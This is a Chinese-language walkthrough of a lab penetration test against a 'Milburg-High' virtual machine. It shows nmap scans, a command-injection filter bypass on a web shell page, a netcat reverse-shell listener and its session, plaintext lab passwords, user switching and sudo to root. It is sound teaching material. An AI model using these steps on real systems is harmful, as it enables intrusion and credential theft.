总体思路
nmap扫描
端口扫描
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
25468/tcp open unknown
开放端口及系统详细信息扫描
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_/passwords.html
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 84f2f8e5ed3e14f393d41e4c413ba2a9 (RSA)
| 256 5b98c74f846efd566a351683aa9ceaf8 (ECDSA)
|_ 256 391656fb4e0f508540d3532241433815 (ED25519)
MAC Address: 00:0C:29:D6:DA:0E (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
简单脚本扫描
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
| /login.html: Possible admin folder
|_ /robots.txt: Robots file
25468/tcp open unknown
nmap信息总结和渗透优先级排序
-
21端口是ProFTPD 1.3.5b,可能存在可利用漏洞。
-
80端口是Apache httpd 2.4.25,暴露了一些目录和robots.txt。
-
25468是ssh服务,OpenSSH 7.4p1。
排序:21==>80==>25468
ftp渗透
anonymous登录失败。
版本较低,漏洞库寻找可利用点:
尝试过后,因不知道服务器路径和ftp路径而失败。
Web渗透
页面信息检索
源代码无可用信息,各功能点尝试。可以收集到一些可能存在的用户名。
发现News的源代码有base64:
解码:
得知有password.html。访问之后也无信息可用。
robots.txt
/lat_memo.html:
说有一个Webshell正在运行。
/login.php无法访问。
/dev_shell.php,访问之后是一个可以执行命令的网页:
getshell
执行ls,提示 Get out skid lol 。看来是有一些过滤,需要进行绕过,尝试whoami,可以执行。
那么执行whoami之后再执行ls呢:
可以看到,ls也被执行了。
那么抓个包就可以getshell:
# nc -lvnp 8081
listening on [any] 8081 ...
connect to [192.168.137.135] from (UNKNOWN) [192.168.137.153] 50608
bash: cannot set terminal process group (607): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Milburg-High:/var/www/html$
提权
常规提权遍历,sudo有两个命令,但是不可利用。/etc/passwd和/etc/shadow权限正常。无自动任务。
在bob的家目录的/Downloads文件夹发现图片,下载查看,并无信息。
Document发现login.txt.gpg加密文件,同目录下发现Secret目录,可能是这个gpg解密的密码,目录的尽头有个notes.sh。但是执行之后输出了一些字符。
-= Notes =-
Harry Potter is my faviorite
Are you the real me?
Right, I'm ordering pizza this is going nowhere
People just don't get me
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>
Cucumber
Rest now your eyes are sleepy
Are you gonna stop reading this yet?
Time to fix the server
Everyone is annoying
Sticky notes gotta buy em
而且,此时的权限并不能使用gpg解密,权限不够:
www-data@Milburg-High:/home/bob/Documents$ gpg -d ./login.txt.gpg
gpg -d ./login.txt.gpg
gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
.old_passwordfile.html发现了有jc和seb的密码:
www-data@Milburg-High:/home/bob$ cat ./.old_passwordfile.html
cat ./.old_passwordfile.html
<html>
<p>
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
</p>
</html>
www-data@Milburg-High:/home/bob$
jc和seb都可以用此密码切换成功:
www-data@Milburg-High:/home/bob/Documents$ su jc
su jc
Password: Qwerty
jc@Milburg-High:/home/bob/Documents$ whoami
whoami
jc
www-data@Milburg-High:/home/bob/Documents$ su seb
su seb
Password: T1tanium_Pa$$word_Hack3rs_Fear_M3
seb@Milburg-High:/home/bob/Documents$ whoami
whoami
seb
seb@Milburg-High:/home/bob/Documents$
现在得到了真正的用户权限,去解密gpg文件,看下权限是否可以:
显示agent不允许,用su切换过来的用户不允许。那么直接ssh登录再次尝试:
可以执行了,但是不知道密码。这里尝试了之前得到的所有密码,都不可行。
那么,有没有可能去寻找到这个密码呢?
之后在elliot用户家目录找到theadminisdumb.txt,得到了elliot的密码。但是依旧是没有找到任何密码。还在各个用户的Downloads目录里找到一些图片,图片字符,隐写也没有密码。
遇到瓶颈
现在,得到了3个用户的shell,但是都无法提权到root,需要得到bob的shell,现在bob的login.txt.gpg无法破解,里面大概率就是密码,现在所有的密码全部尝试过,都无法进行破解。
解决
回想一下刚刚的关键信息,在login.txt.gpg的同目录下,有一个Secret目录,明显是提示,但是只有一个notes.sh。输出内容如下:
-= Notes =-
Harry Potter is my faviorite
Are you the real me?
Right, I'm ordering pizza this is going nowhere
People just don't get me
Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>
Cucumber
Rest now your eyes are sleepy
Are you gonna stop reading this yet?
Time to fix the server
Everyone is annoying
Sticky notes gotta buy em
每一行的开头都是大写,拼接起来是:HARPOCRATES
这里如果真是提示,那么也只能想到这里了。
尝试之后,发现就是密码,解密如下:
得到了bob的密码:b0bcat_
切换bob:
jc@Milburg-High:/home/bob/Documents$ su bob
Password:
bob@Milburg-High:~/Documents$
root提权
bob用户sudo是:
bob@Milburg-High:~/Documents$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on Milburg-High:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bob may run the following commands on Milburg-High:
(ALL : ALL) ALL
那么直接可以获取root:
bob@Milburg-High:~/Documents$ sudo /bin/bash
root@Milburg-High:/home/bob/Documents# whoami
root
root@Milburg-High:/home/bob/Documents#
靶机总结和认知成长
-
需要掌握命令注入的绕过手法。
-
进到系统之后,不要因为懒惰和自以为是就自动化的过滤掉一些文件夹的信息收集,这是致命的。可以使用ls -lR将当前目录下的目录全部打开。
-
gpg文件时一种加密文件,使用gpg -d 可以进行解密。
-
su切换的用户可能存在一些权限问题,因此,su切换的用户遇到agent权限问题时,应该想到去ssh直接登录。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)